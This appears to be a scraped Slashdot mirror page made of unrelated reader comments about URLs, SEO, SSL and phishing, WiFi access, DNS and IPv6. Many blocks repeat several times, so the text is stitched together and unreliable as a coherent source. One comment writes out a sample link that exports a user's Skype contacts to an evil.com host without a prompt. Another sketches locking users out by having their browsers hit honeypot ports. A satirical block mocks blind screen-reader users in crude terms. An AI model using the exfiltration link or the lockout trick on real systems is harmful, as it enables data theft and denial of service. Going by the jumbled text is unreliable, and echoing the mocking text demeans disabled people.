Slashdot Mirror

1. Make sure that at some point google didn't label you as a "spam" site, http://www.google.com/webmasters/ is a good starting point for learning google's view of your site's health

2. Make sure that navigation in your site makes sense from google's bot perspective. Map categories/subcategories in your site to folders in the URL of your site. URLs of your site should be preety, contain relevant words and be relatively short, ie http://example.com/webdesign/logo/price-quote-for-logo-design.html rather than http://example.com/siteengine.php?id_category=12&subcategory=93&articleid=112&lang=en&....

3. Don't use FLASH, JAVASCRIPT or (I)FRAMES for navigation/menus

4. Navigation in your site should be easy, use: menus with main/sub categories, breadcrumbs, related pages, etc.

5. Make sure that there are links on the internet that link to your site (to the front page, but also very important to sections inside you web site). Take time to build links: ie. when posting in forums make a habit of linking back to your site, especially if there's something on your site that is relevant to the discussion. When you do a website for a client, if possible add a link on the website, pointing to your website. Something like: "Web design by Your Company, Ottawa". Make sure to add the proper "title" attribute to links to your site and the links inside your site.

6. Change you hosting company and get your own IP to host your website. (the shared IP on which your website might be running, could be marked as "spammy" especially if you're site is sharing it with other shady sites)

1. Make sure that at some point google didn't label you as a "spam" site, http://www.google.com/webmasters/ is a good starting point for learning google's view of your site's health

2. Make sure that navigation in your site makes sense from google's bot perspective. Map categories/subcategories in your site to folders in the URL of your site. URLs of your site should be preety, contain relevant words and be relatively short, ie http://example.com/webdesign/logo/price-quote-for-logo-design.html rather than http://example.com/siteengine.php?id_category=12&subcategory=93&articleid=112&lang=en&....

3. Don't use FLASH, JAVASCRIPT or (I)FRAMES for navigation/menus

4. Navigation in your site should be easy, use: menus with main/sub categories, breadcrumbs, related pages, etc.

5. Make sure that there are links on the internet that link to your site (to the front page, but also very important to sections inside you web site). Take time to build links: ie. when posting in forums make a habit of linking back to your site, especially if there's something on your site that is relevant to the discussion. When you do a website for a client, if possible add a link on the website, pointing to your website. Something like: "Web design by Your Company, Ottawa". Make sure to add the proper "title" attribute to links to your site and the links inside your site.

6. Change you hosting company and get your own IP to host your website. (the shared IP on which your website might be running, could be marked as "spammy" especially if you're site is sharing it with other shady sites)

• Go to the wiki page in another browser tab.
• click on the address bar, press [ctrl-a] to highlight the entire address, and then [ctrl-c] to copy the URL to your clipboard.
• go back to your Slashdot tab, and type <a href="
• press [ctrl-v] to paste the URL.
• type "> followed by some clever text for the link
• type </a> at the end of the clever text.
• Make sure your slashdot comment type is HTML Formatted

Try putting this as a form action:

    http://www.example.com/?gt;&lt;

Then try submitting the form. Take a close look at what actually got submitted.

Note that in HTML you don't need a ';' to terminate entities. For example, consider this action URL:

    http://www.example.com/?foo=bar&gt=something

What do you think will get submitted? What actually gets submitted?

Given browser behavior, you're currently safe not escaping the '&' as long as you avoid param names that happen to match any of the 255 character entity references the HTML 4.01 spec defines. Oh, and avoid any other entity references that might get introduces to HTML in the future. Like the several thousand MathML ones, say.

As long as you're willing to take that gamble, no need to escape. But that doesn't make the document valid. You're just relying on very specific error-recovery behavior in browsers.

Try putting this as a form action:

    http://www.example.com/?gt;&lt;

Then try submitting the form. Take a close look at what actually got submitted.

Note that in HTML you don't need a ';' to terminate entities. For example, consider this action URL:

    http://www.example.com/?foo=bar&gt=something

What do you think will get submitted? What actually gets submitted?

Given browser behavior, you're currently safe not escaping the '&' as long as you avoid param names that happen to match any of the 255 character entity references the HTML 4.01 spec defines. Oh, and avoid any other entity references that might get introduces to HTML in the future. Like the several thousand MathML ones, say.

As long as you're willing to take that gamble, no need to escape. But that doesn't make the document valid. You're just relying on very specific error-recovery behavior in browsers.

You seem to be using screen reader software. Since you're blind, I, $bossname, don't see your business as worthwhile. Sorry. I hope your eyes work better in the next lifetime! I, $bossname, am better than you because I can see.

I am $bossname! I am an incompetent pompous monkey asshole who thinks he knows how to do everyone's job! I hire web developers and then manage them poorly. I also have a very small penis. If you don't think like me, you are wrong. By the way, our biggest competitor is X. You should buy their products because we don't give a shit about you. My boss's name is $CEO. You probably don't have the stones to email him and tell him how poor of a job I'm doing. I'm getting paid to insult you! It's not like I'll get fired anyway. Ha! Besides, you're blind. What can you do about it? Yeah I thought so.

You seem to be using screen reader software. Since you're blind, I, $bossname, don't see your business as worthwhile. Sorry. I hope your eyes work better in the next lifetime! I, $bossname, am better than you because I can see.

I am $bossname! I am an incompetent pompous monkey asshole who thinks he knows how to do everyone's job! I hire web developers and then manage them poorly. I also have a very small penis. If you don't think like me, you are wrong. By the way, our biggest competitor is X. You should buy their products because we don't give a shit about you. My boss's name is $CEO. You probably don't have the stones to email him and tell him how poor of a job I'm doing. I'm getting paid to insult you! It's not like I'll get fired anyway. Ha! Besides, you're blind. What can you do about it? Yeah I thought so.

1. • URLs
     http://example.com/ will auto-link a URL
     Important Stuff
     Please try to keep posts on topic.
     Try to reply to other people's comments instead of starting new threads.
     Read other people's messages before posting your own to avoid simply duplicating what has already been said.
     Use a clear subject that describes what your message is about.
     Offtopic, Inflammatory, Inappropriate, Illegal, or Offensive comments might be moderated. (You can read everything, even moderated posts, by adjusting your threshold on the User Preferences Page)
     If you are having a problem with accounts or comment posting, please Link:yell for help endlink.
     
     Now obviously the article part would need to be parsed by a reader of sorts. But you already create a site map usually so creating a link map for every page split by categories would be simple. Through voice command:
     
     List Navigation:
     "Top, Secions..."
     List Navigation Top:
     "Help and Preferences, Subscribe, Firehose.."
     Go to Navigation, Top, Firehose.
     
     or
     
     Read Article.
     
     

?!

RFC 952 is an obsolete RFC that describes a thing called the 'internet host table' that used to exist. It is no longer a relevant document, and it has no bearing on domain names, the concept did not even exist at the time of 952.

If you go by 952, we can't have IPv6 either, or classfless addressing, check out the lexical conventions shown for a host entry.

Nowadays DNS is in more common use, which has more relaxed rules on what exactly can be contained in a label.

The URLs will look pretty straightforward, you just need a distinctive name for the site. I.E. if my main site is "www.blah.com"; and the hosting provider is example.com, my SSL site may be https://blah.secure.example.com/

This kind of scheme is periodically used, and seeing it is no indication of a phishing attempt.

SSL will not tell you whether a site is a phishing site or not. SSL does not have that as a goal, and SSL does not accomplish it at all.

The use of certificates has exactly one function: to verify that you are connecting to the web server that you think you are connecting to. I.E. That an unknown third party is not performing a man-in-the-middle attack on your SSL connection. The problem of phishing is totally separate and not addressed by or effected by SSL or URL scheme.

If you are just surfing, you will probably not care about phishing.

If you are banking online or similar, NEITHER the URL, nor the signature of a SSL Certificate Authority is sufficient to establish that a phishing attempt or cross-site scripting attack is not occuring.

You need to receive the bank's X.509 certificate out-of-band, for example by going to your bank and picking up a USB stick with their x509 certificate including the public key and identification of site name. In exchange, you give your bank a USB stick with _your_ personal client SSL certificate, which they load into their system and associate with your account.

You install their server x.509 certificate in your web browser as trusted for their chosen name. So when you browse to the site, you will know they have proved their identity, if the correct X.509 certificate is being used.

They enter your client SSL certificate in a database so that when you enter your passphrase into your browser and connect with your client's x.509 certificate, they will immediately know you have proved your identity as the account holder.

A method such as this is the only way SSL can guarantee that no phishing is involved. A third-party certificate authority simply has no way of knowing that https://mybanc.example.com/ is an attempt at creating a phishing site against https://mybank.example.com/

?!

RFC 952 is an obsolete RFC that describes a thing called the 'internet host table' that used to exist. It is no longer a relevant document, and it has no bearing on domain names, the concept did not even exist at the time of 952.

If you go by 952, we can't have IPv6 either, or classfless addressing, check out the lexical conventions shown for a host entry.

Nowadays DNS is in more common use, which has more relaxed rules on what exactly can be contained in a label.

The URLs will look pretty straightforward, you just need a distinctive name for the site. I.E. if my main site is "www.blah.com"; and the hosting provider is example.com, my SSL site may be https://blah.secure.example.com/

This kind of scheme is periodically used, and seeing it is no indication of a phishing attempt.

SSL will not tell you whether a site is a phishing site or not. SSL does not have that as a goal, and SSL does not accomplish it at all.

The use of certificates has exactly one function: to verify that you are connecting to the web server that you think you are connecting to. I.E. That an unknown third party is not performing a man-in-the-middle attack on your SSL connection. The problem of phishing is totally separate and not addressed by or effected by SSL or URL scheme.

If you are just surfing, you will probably not care about phishing.

If you are banking online or similar, NEITHER the URL, nor the signature of a SSL Certificate Authority is sufficient to establish that a phishing attempt or cross-site scripting attack is not occuring.

You need to receive the bank's X.509 certificate out-of-band, for example by going to your bank and picking up a USB stick with their x509 certificate including the public key and identification of site name. In exchange, you give your bank a USB stick with _your_ personal client SSL certificate, which they load into their system and associate with your account.

You install their server x.509 certificate in your web browser as trusted for their chosen name. So when you browse to the site, you will know they have proved their identity, if the correct X.509 certificate is being used.

They enter your client SSL certificate in a database so that when you enter your passphrase into your browser and connect with your client's x.509 certificate, they will immediately know you have proved your identity as the account holder.

A method such as this is the only way SSL can guarantee that no phishing is involved. A third-party certificate authority simply has no way of knowing that https://mybanc.example.com/ is an attempt at creating a phishing site against https://mybank.example.com/

?!

RFC 952 is an obsolete RFC that describes a thing called the 'internet host table' that used to exist. It is no longer a relevant document, and it has no bearing on domain names, the concept did not even exist at the time of 952.

If you go by 952, we can't have IPv6 either, or classfless addressing, check out the lexical conventions shown for a host entry.

Nowadays DNS is in more common use, which has more relaxed rules on what exactly can be contained in a label.

The URLs will look pretty straightforward, you just need a distinctive name for the site. I.E. if my main site is "www.blah.com"; and the hosting provider is example.com, my SSL site may be https://blah.secure.example.com/

This kind of scheme is periodically used, and seeing it is no indication of a phishing attempt.

SSL will not tell you whether a site is a phishing site or not. SSL does not have that as a goal, and SSL does not accomplish it at all.

The use of certificates has exactly one function: to verify that you are connecting to the web server that you think you are connecting to. I.E. That an unknown third party is not performing a man-in-the-middle attack on your SSL connection. The problem of phishing is totally separate and not addressed by or effected by SSL or URL scheme.

If you are just surfing, you will probably not care about phishing.

If you are banking online or similar, NEITHER the URL, nor the signature of a SSL Certificate Authority is sufficient to establish that a phishing attempt or cross-site scripting attack is not occuring.

You need to receive the bank's X.509 certificate out-of-band, for example by going to your bank and picking up a USB stick with their x509 certificate including the public key and identification of site name. In exchange, you give your bank a USB stick with _your_ personal client SSL certificate, which they load into their system and associate with your account.

You install their server x.509 certificate in your web browser as trusted for their chosen name. So when you browse to the site, you will know they have proved their identity, if the correct X.509 certificate is being used.

They enter your client SSL certificate in a database so that when you enter your passphrase into your browser and connect with your client's x.509 certificate, they will immediately know you have proved your identity as the account holder.

A method such as this is the only way SSL can guarantee that no phishing is involved. A third-party certificate authority simply has no way of knowing that https://mybanc.example.com/ is an attempt at creating a phishing site against https://mybank.example.com/

Mozilla Firefox has prefetch enabled by default. So it automatically visit links.

Another side, can redirect you to that link, by like header("Location: http://www.example.com/");

Many download accelerators use prefetching that gets links automatically.

First off, since when is a 'URL' considered a transport mechanism rather than syntax for specifying a transport mechanism and location? Is ftp://whatever.example.com/badcode/ not a URL because it's ftp now? That's a goofy statement.

And then, this isn't about ftp being hacked, just that bad software is being hosted using ftp as well as http (which I presume is what is meant by 'URL' or being emailed.

And, ftp is not merely an ancient, deprecated protocol. It's still widely used because it does what is intended for well and works under high load readily.

This reminds me of the real early days of web sites. Just past when people were excited about being able to put "hello world" up, and when they started charging people for content.

    "Secure" pages, were usually some obscure web page under the main site. Security was that your members are was called http://example.com/members_mysecret .

    And then people started getting smarter. Oh my gosh, that .htaccess actually can actually control access. But what do we do about the crappy billing company that doesn't actually give you login information, they just tell you to protect by HTTP_REFERER? :)

    If this happened on all the super-kewl-elite hax0r sites, then the good old C&D wouldn't be doing much good, they'd be crying about how the hackers have infiltrated their security.

    It does make me feel nostalgic, thinking of the folks who thought http://example.com/members_mysecret would always protect them.

    So my advice. Suck it up, and hire someone who knows at least something about security, and make your application work securely, if you don't want the whole world to use your content. :) You can't blame Howard for your own security problem. Would "Bank of America" be able to blame the hackers, if there was a super secret file called http://bankofamerica.com/all_customer_info.3.7.2008.zip ?

This reminds me of the real early days of web sites. Just past when people were excited about being able to put "hello world" up, and when they started charging people for content.

    "Secure" pages, were usually some obscure web page under the main site. Security was that your members are was called http://example.com/members_mysecret .

    And then people started getting smarter. Oh my gosh, that .htaccess actually can actually control access. But what do we do about the crappy billing company that doesn't actually give you login information, they just tell you to protect by HTTP_REFERER? :)

    If this happened on all the super-kewl-elite hax0r sites, then the good old C&D wouldn't be doing much good, they'd be crying about how the hackers have infiltrated their security.

    It does make me feel nostalgic, thinking of the folks who thought http://example.com/members_mysecret would always protect them.

    So my advice. Suck it up, and hire someone who knows at least something about security, and make your application work securely, if you don't want the whole world to use your content. :) You can't blame Howard for your own security problem. Would "Bank of America" be able to blame the hackers, if there was a super secret file called http://bankofamerica.com/all_customer_info.3.7.2008.zip ?

I've not read the book, but it occurred to me that some of the errors complained of above might not be errors, or at worst just insufficiently explained Drupalisms.

some URLs contain root directory slashes, while others do not

You might be conflating relative URLs with "Drupal paths" here. Most Drupal sites these days use Apache mod_rewrite to convert a URL like:

http://www.example.com/?q=admin/content/types

to:

http://www.example.com/admin/content/types

The distinction between Drupal paths and URLs relative to the site's base directory is important, because your Drupal site might be in a subdirectory of your web server's root directory (eg. http://www.example.com/mysite/).

Some menu breadcrumbs use ">" as a delimiter, while others use "|."

The breadcrumb delimiter is itself themeable. This would just be reflecting real world experience, so I can't see any benefit to this degree of consistency.

"Dev Server" (page 120) apparently means a local Web server

I would have expected that anybody ready to tackle Drupal theming would be familiar with the concept of using a development server (possibly but not necessarily on your local machine) to safely make modifications before transferring them to the live site, and that a definition here would be irritatingly redundant.

Use example.com. That way you know you're not hurting anyone!

Actually, it seems possible to lock out legitimate users as well, by sending them to a URL like http://example.com:12345/ Since it only appears to be operating at the TCP layer, requests from a web browser would accomplish the goal of blacklisting a target IP. If port 12345 was one of the honeypots at that time, the legitimate user gets blacklisted. Throw it on a malicious web page that uses several XMLHttpRequests to try various ports and you have a pretty good shot at locking the user out.

It will not stop by 3 companies (23andme backed by Google and Genentech, Navigenics backed by KPCB, MDV and Sequoia, and DeCodeMe that started on money from Roche). Competitor IT companies (Microsoft, Apple etc), competitor VC companies (DFJ, Abingworth; many from the at least 50 VC-s that listened to Venter on Sand Hill Road last week will join the fray). Big Pharma in addition to Genentech and Roche will also join in (Pfizer, Merck, Novartis, etc). However, the business models (securing privacy) and the technology to work out the information system is a task for "technology focal points" such as Silicon Valley, Texas, San Diego, Boston (with outsourcing, of course, globally). The underlying biotech is presently the microarrays by Illumina (presently leading) and Affymetrix (already trailing). Since neither was developed for "Online PostGenetic Medicine", chances are that this "internet boom, round two" will also revolutionize microarray technology, and eventually merge it with the already announced "$100 whole genome sequencing" (Complete Genomics). See more analysis at http://example.com/

So how does all of that work out when in comes to a webserver. There is a good change that http://example.com/ is on some sort of metered connection. Is it reasonable to assume you are allowed to use it, or do you never click on a link without calling the owner of a server first? And if it is reasonable to assume you can access an other computer over the public internet, why is it unreasonable you can access a wireless network over public airwaves?

The sole purpose of a webserver is to publish content (such content can have restricted access, but examples of that are very much the exception to the rule). The sole purpose of a WAP is *not* to share an internet connection with anyone who happens to be driving by, nor is it reasonable to assume that someone wants you to piggyback off their WAP any more than it is reasonable to assume they want you to piggyback off their electricity, gas, water, satellite TV or telephone "just because you can".

But when it screams 'I'm here!' all the time and answer 'Go right ahead' when you ask if you can use it, than that comunicates an permission to use it.

It, maybe (to the extent of being issued an IP, at least). The resources accessible through it, definitely not.

If you don't want that, don't broadcast your network, answer no to a request to use it, ignore the request at all if you like. But when the answer is 'Yes, and here is your ipadress', that is what we call 'permission'.

No, it's not, any more than leaving you car unlocked with the keys in it is giving "permission" for someone to take it.

And, unlike social rules, the procedure for granting or refusing access is clear, well defined, properly documented and an official industry standard.

Really ? Please quote the relevant part of the standard where having an unsecured WAP implied consent to use services accessible through it. I'll be happy to wait.

Let me put it this way. You will have a very easy time convincing a judge and/or jury that someone publishing a website is doing so with the knowledge that it will be open and accessible to others because a) that's what the common understanding of the pupose of a website is and b) it's pretty much impossible publish a website "accidentally". You will have a very difficult time convincing a judge and/or jury that an unsecured WAP is an advertisement and implied consent for free internet access based on the principle it gave you an IP address because a) that's not what most people want to do with their WAPs and b) because it's _very_ easy to ignorantly setup an unsecured WAP. Further, no amount of arguing "but look how easy it is" (which is essentially all you're doing) is going to change their mind. Neither is arguing "it's just like putting up a website", when typically the intent behind doing that is completely different.

When you can walk around your neighbourhood and a majority of people are happy to let you hook up to their power, gas, water, electricity and phoneline without paying them anything, I'll be willing to consider it a reasonable assumption that they're willing to let you hook up to their internet connection as well. But certainly not before.

So how does all of that work out when in comes to a webserver. There is a good change that http://example.com/ is on some sort of metered connection. Is it reasonable to assume you are allowed to use it, or do you never click on a link without calling the owner of a server first? And if it is reasonable to assume you can access an other computer over the public internet, why is it unreasonable you can access a wireless network over public airwaves? Even more so when the access point is broadcasting to the world around it it is there and available. When it is not broadcasting it's presence, when it protect with even the most trivial matter you are right. But when it screams 'I'm here!' all the time and answer 'Go right ahead' when you ask if you can use it, than that comunicates an permission to use it. If you don't want that, don't broadcast your network, answer no to a request to use it, ignore the request at all if you like. But when the answer is 'Yes, and here is your ipadress', that is what we call 'permission'. And, unlike social rules, the procedure for granting or refusing access is clear, well defined, properly documented and an official industry standard.

I'm sorry, these examples are not valid because they are not RFC2606 compliant.

There's an RFC somewhere.

RFC 2606, Section 3. It's referenced at (where else) example.com.

but often I end up having to put placeholder HTML in the page, and the set visibility = null.

I mean, I think the fact that the static Wicket homepages often produce session timeout exceptions is pretty damning that it encourages poor web programming.

The titles are anchors, a sort of in-document links. They are itself not clickable, but a valid target to link to via

http://example.com/url/#anchor

The browser will then jump directly to the position of the anchor. If you use Firefox, you can remove the hover behaviour if you install the extension "Stylish" and then add a new CSS file for slashdot.org which looks like this:

@namespace url(http://www.w3.org/1999/xhtml);
@-moz-document domain(slashdot.org) {
    div.title h4 a { text-decoration: none !important; }
}

Have fun.

examplehttp://www.example.com/example

1. • qupte

I was talking to a work-mate after posting that and he said a similar thing - it depends what you class as a bug, it could be a security bug.

IMO it wouldn't be a bug. To me a bug is something that shouldn't be happening, full stop. e.g. ability to inject data (as you can with a bad PHP script, register global variables and a specially constructed query string), ability to corrupt data or cause crashes (as you can do with a buffer overflow) or ability to bypass a security measure through some simple means (like my college's web filtering software that let you get to blockedexample.com by going to something like http://example.com/).

This, on the other hand, is just lax security or bad separation in design. It might be functionality that you want on the whole and hence a feature (as in my example) but to me registering the whole EXE is a bad choice, not checking the input when invoked in that way (if it's possible) is a bad choice, allowing the data sending without confirmations was potentially a bad choice, and so on.

Having said all that then I would still expect it to turn up in a bug tracking app ;) But phpBB have a separate "security bug tracker".

Only it's not that the application may have a bug, but that it may have an intentional feature that is useful for users that can then be exploited through a link. It might have less security than it should, but that's poor planning and not a bug.

Take someone's earlier example of Skype. Lets assume you can do "skype --export-contacts --dest /some/path/here". Nice and useful for when you're migrating settings on your own desktop. Now assume that Skype also lets you export to your website so that you can publish it to your site, so you can put a HTTP in there. Now assume that users have complained about popups prompting them and that they want a batch mode that lets them export each night to make sure they never lose data - so it doesn't prompt.

You'd now have something like "skype --export-contacts --dest http://www.example.com/mybackupscript --batch-mode". It does exactly what you want, you can archive your contacts, and you can event do it overnight to a remote location so it's accessible to you from anywhere and won't be lost in a disk crash. Only someone didn't secure it very well (again, bad implementation, not a bug) and someone somehow gets you to click on a link saying "skype:export-contacts&dest=http://www.evil.com/my backupscript&batch-mode". That 'feature' is now being exploited to export your contacts to an arbitrary site without you even necessarily knowing.

I'm sure there are lots of other similar alternatives, but the whole point is that it's badly validated input and not a bug. It's fairly sensible to have "skype:call-userid" as a link so that you can run up Skype and call someone. What it's not sensible to do is let that URI call do anything that can be done locally.

Also the php files are in the document_root directory (or whatever you want to call it).

Yeah, on the server - then they could exploit the server hosting them... Why on earth would MS care about that? They're doing the filtering to protect the end-users from exploits of vulnerabilities in the MSN client. It doesn't matter the least bit if it's PHP, Perl, Ruby, ASP or whatever that runs on the server-side - it's what is returned from the server-side that matters. I'll have to agree with the guy guessing that PHP is usually the first choice of scripting language for script kiddies.

And as the first poster noted, TinyURLs get through just fine, plus it'd be the least of problems to make a HTTP redirect, so http://example.com/harmless.script points to http://example.com/malicious.script?that=pwns&MSN= users. This way of "fixing" bugs is nothing but retarded - it fixes nothing and it hassles end-users a great deal - some of those substrings that are getting blocked are VERY common.

Also the php files are in the document_root directory (or whatever you want to call it).

Yeah, on the server - then they could exploit the server hosting them... Why on earth would MS care about that? They're doing the filtering to protect the end-users from exploits of vulnerabilities in the MSN client. It doesn't matter the least bit if it's PHP, Perl, Ruby, ASP or whatever that runs on the server-side - it's what is returned from the server-side that matters. I'll have to agree with the guy guessing that PHP is usually the first choice of scripting language for script kiddies.

And as the first poster noted, TinyURLs get through just fine, plus it'd be the least of problems to make a HTTP redirect, so http://example.com/harmless.script points to http://example.com/malicious.script?that=pwns&MSN= users. This way of "fixing" bugs is nothing but retarded - it fixes nothing and it hassles end-users a great deal - some of those substrings that are getting blocked are VERY common.

The real problem is between the keyboard and the chair. If someone sends you a URL of http://www.example.com/badstuff/newscreensaver.scr with the message "Really great, you have to try this out!" and the person downloads it, runs it, installs it and infects their computer how can any "security" in Windows (or any other operating system) help this poor deluded user?

Face it, this problem has been around since the first "general purpose" computer fell into an untrained user's hands. Someone handed them a floppy with something they just had to see on it and got their computer screwed up. The methods of infection have improved somewhat - the education, knowledge and skill of the user has not.

I don't see a defense here without making the computer unchangeable by the user.

Most packet inspectors (such as Network Observer) are packet class only. Converged Access does a more sophisticated packet inspector, but even that only drills down to the specific subtype of packet for a given application, and of course only those applications they have the specifications for, or reverse-engineered. I know of no full-payload inspectors and doubt they even exist.

They do exist. At least down to the level "now this IP address downloaded http://example.com/baz and got 23785 bytes". Similar for other popular protocols.

Remember that packets cannot be guaranteed to travel on identical paths - the Internet is not a spanning tree - and that packets can fragment when there is an MTU change. Anyone sending a jumbo packet is guaranteed to see packet fragmentation, for example. A full reassembly by sniffing would also need to drop retransmitted packets and support all common encapsulation techniques.

All this is exactly what the TelCos want -- and are currently paying good money to get. Indirectly, they are paying me, or I wouldn't post as an AC.

You're also talking about a LOT of storage and absolutely no way to sensibly organize the volume of data collected. That's the problem with data saturation - there are no database or data processing techniques capable of handling it.

But it's scary even if they don't store all the data! This can be used for charging ($$$ for accessing the competitors' services); for quietly destroying the QoS of protocols or sites the operator doesn't like; for various large-scale man-in-the-middle attacks and so on.

It's the opposite of all that the Internet stands for.

1. • URLs
     http://example.com/ will auto-link a URL
     Important Stuff
     
             * Please try to keep posts on topic.
             * Try to reply to other people's comments instead of starting new threads.
             * Read other people's messages before posting your own to avoid simply duplicating what has already been said.
             * Use a clear subject that describes what your message is about.
             * Offtopic, Inflammatory, Inappropriate, Illegal, or Offensive comments might be moderated. (You can read everything, even moderated posts, by adjusting your threshold on the User Preferences Page)
             * If you want replies to your comments sent to you, consider logging in or creating an account.
     
     Problems regarding accounts or comment posting should be sent to CowboyNeal.
     Search
     Give the game away
     
     All trademarks and copyrights on this page are owned by their respective owners. Comments are owned by the Poster. The Rest © 1997-2007 SourceForge, Inc.
     
             * home
             * awards
             * contribute story
             * older articles
             * sourceforge, inc.
             * advertise
             * about
             * terms of service
             * privacy
             * faq
             * rss
     
     

It's not as simple as that. I'm working on a website that will use OpenID when it's done, and trying to work out how to avoid getting spam is giving me a headache. With OpenID being decentralised, any spammer can set up an identity server to authorise the spammer as (for example) http://spam.example.com/00000 through http://spam.example.com/99999. If they log in once with each 'identity' (perhaps automatically) that's 100 000 rows added to my database, although that's slightly off-topic. The point is anyone can make up any number of OpenID accounts and automate the use of OpenID. There's no way you can be sure you're dealing with a human user without using some kind of captcha. Forcing confirmation of every e-mail address and ensuring it's unique can also help, but that's the kind of problem OpenID was created to solve.

It's not as simple as that. I'm working on a website that will use OpenID when it's done, and trying to work out how to avoid getting spam is giving me a headache. With OpenID being decentralised, any spammer can set up an identity server to authorise the spammer as (for example) http://spam.example.com/00000 through http://spam.example.com/99999. If they log in once with each 'identity' (perhaps automatically) that's 100 000 rows added to my database, although that's slightly off-topic. The point is anyone can make up any number of OpenID accounts and automate the use of OpenID. There's no way you can be sure you're dealing with a human user without using some kind of captcha. Forcing confirmation of every e-mail address and ensuring it's unique can also help, but that's the kind of problem OpenID was created to solve.

First, installing Drupal is like a three step process.

1. Check the latest stable branch out of cvs:

cd htdocs
cvs -d:pserver:anonymous:anonymous@cvs.drupal.org:/cvs /drupal checkout -r DRUPAL-5 drupal

2. Create an empty database in MySQL.

3. In your web browser, go to http://example.com/drupal/install.php and run the web-based installer.

Secondly, "finding your own posts on the forums can be a nightmare." Here's a complicated algorithm that may help you. Hang on, this is tough:

1. Log in.

2. Click on "My recent posts".

All of your posts will be listed, with the number of replies, and any replies you haven't read will be noted with "new".

"And remember after that times out, with the "New Berners" approach you will have to try to fetch:
http://foo.www.microsoft.com:82/bar/com/baz
http://bar.foo.www.microsoft.com:82/com/baz
http://com.bar.foo.www.microsoft.com:82/baz
http://baz.com.bar.foo.www.microsoft.com:82/
And only after all that should the browser give up."

Why on hell? For one, it wouldn't be www.microsoft.com but com/microsoft/www. For second, assuming equivalent to current expansions, it would be "www" the one to expand to microsoft/www or com/microsoft/www, exactly like now. I really don't see where the "prefixes for alternate searchs" in your example come from.

"There's also the scenario of trying to access a site that hosts lots of different people's stuff that uses a wildcarded DNS- say the dns works but the site is down"

You are not going to test for all those users stuff at a time, do you? I don't see how can a browser expend more time waiting for http://www.example.com/~givenuser than on http://com/example/www/~givenuser. Again the only doubt is knowing wich is the "real server" that holds the content since, having the same semantics about domains and resources, 'a priori' the real host could be com, com/example, com/example/www or even com/example/www/~givenuser. Of course that you would trick out by having standard answers for "keep trying downside" and "here it goes". You only have latency problems *on the resolving process* when you can't reach the nameservers, quite exactly like now.

"OK lets say you try to do stuff in parallel, and display the first document that is successfully fetched"

You assume that the "document" can be on various different sites (even overlapping) but that the DNS won't help you telling where exactly the resource is. You either intermingle protocol and resolution (then the answer comes when it comes and you are deemed to timeout once per tried nameserver *on a single leaf level* -just like now) or you let each other on their side, exactly like now, and then it wil work -well, just like now maybe with the proper adition of some SRV glue http://com/example/www/~someguy, you said? My cache says HTTP server(s) for that name can be found on this IP (and this and this one)", or "I don't know, but you can ask those guys donwside the lane".

"Sure you can put "don't recurse" stuff on the DNS servers, but in real life, the people who run the webservers often have little authority and control over the DNS servers."

So usually, when the manager for the website at www.example.com asks example.com's hostmaster to add a registy for www he usually chooses an IP address out of his hat and the hell with the PHB if it ends up at www.playboy.com instead, is it?

"Run the DNS server on the webserver? Despite what some people may like, not every web server be allowed to run an authoritative DNS server on it"

*Current* implementation doesn't need to do so. Future implementation *might* integrate DNS and data server in a way that makes it the easier way to go, just like *usually* you can find an IMAP server just along with a POP server, simply because it's so easy if nothing else.

"nor is it likely that the DNS delegation be correctly done in enough cases for people to say "this system is viable"."

There are always control nazis that will say so, of course. But how many DNS server are *already*? I bet you'll find in the millions. Whatever nightmare that might happen with delegations in the future should have happened *already*. And remember: either top-down or down-top there will be always above your head able to cut the flux if you don't behave. We have spam because

"http:com/example/blah/sub/foo
Now that's very nice in "dreamland" where the speed of light is infinite and everything is perfect.
But in the real world, what domain name should the browser try in order to get the IP address to connect to?"

Do you know a single word about DNS? I don't think so.

First: we are talking about names, not service resources, so the basic example is looking for com.example.blah.sub.foo, which is just exactly the same than foo.sub.blah.example.com regarding its recursive search path: you either need to recourse for the whole path or you will recieve an answer in the middle via a high level authoritative server or by caching.

Second: regarding services, maybe the SRV-like registers would have seen the light instead of being more or less the DNS curiosity they are today.

So the *real* example:
1) http://www.example.com/some/path: you local resolver looks for com authoritatives; they either know the answer or point you to example.com authoritatives which, in turn, will tell you who www.example.com is, and then, it and only it will serve you the /some/path http resource.
2) http://com/example/www/some/path. Your resolver will ask authoritatives for com wich will either know the right answer or will point you to http://com/example, wich in turn will know the answer or point you to http://com/example/www autoritatives which in turn will tell you the answer or point you to http://com/example/www/some authoritatives (if, for instance all http://com/example/* or even all http://com/* pages "live" within a single server that's what the service will tell you, no need to recurse more deeply. If all but http://com/someespecificresource, well, I think you can imagine what will happen: a question for http://com/someespecificresource/somethingelse will recieve a "keep trying" answer instead of a "you win the prize" one).

I think even you will see that's exactly the same currently DNS does, no change here. But now you can do some nice tricks, like via SRV-like records return at any time either the authoritatives for the next hierachy level *or* the IP address for the resource *or* even directly the searched contents (in this case the expected HTML page, or an open conection to the SMTP server or whatever).

In no case there are more latencies than currently and it certainly would make more sense and would potentially open the door to some very interesting things (that they are interesting gives prove the fact that they are actually dirtly done: like having an Apache in retroproxy mode to serve a group of pages that in reality are "living" on a different server -things like this would naturally grow out of a completly left-to-right hierarchy with some afordable changes to the protocol).

The issue with this is that IP was designed so that each device has one IP address. When you visit google, you go to http://www.google.com/, not http://www.google.com:81/ (I tried to use :80 here, but slash removed it, so I'm using 81). So if I wanted my toaster and fridge to be accessible, to browser to their respective webpages, I'd have two choices; http://myhouse.example.com:81/ http://myhouse.example.com:82/ etc etc, or use a reverse proxy and use http://myhouse.example.com/toaster.

And how do you remember which port is the toaster, and which is the fridge? If you want to SSH into them, you can't even use a reverse web proxy. At that point, if I was forced to use IPv4, I'd setup a PPTP VPN and route it using 10.0.0.0/8 address range.

So no, I choose to make my toaster accessible via IPv6, and if you are forced to use v4, you can still access the basic webpage with http://myhouse.example.com/toaster. Hmmm.. I'm hungry, I think I wanted slightly burnt bread.

The issue with this is that IP was designed so that each device has one IP address. When you visit google, you go to http://www.google.com/, not http://www.google.com:81/ (I tried to use :80 here, but slash removed it, so I'm using 81). So if I wanted my toaster and fridge to be accessible, to browser to their respective webpages, I'd have two choices; http://myhouse.example.com:81/ http://myhouse.example.com:82/ etc etc, or use a reverse proxy and use http://myhouse.example.com/toaster.

And how do you remember which port is the toaster, and which is the fridge? If you want to SSH into them, you can't even use a reverse web proxy. At that point, if I was forced to use IPv4, I'd setup a PPTP VPN and route it using 10.0.0.0/8 address range.

So no, I choose to make my toaster accessible via IPv6, and if you are forced to use v4, you can still access the basic webpage with http://myhouse.example.com/toaster. Hmmm.. I'm hungry, I think I wanted slightly burnt bread.

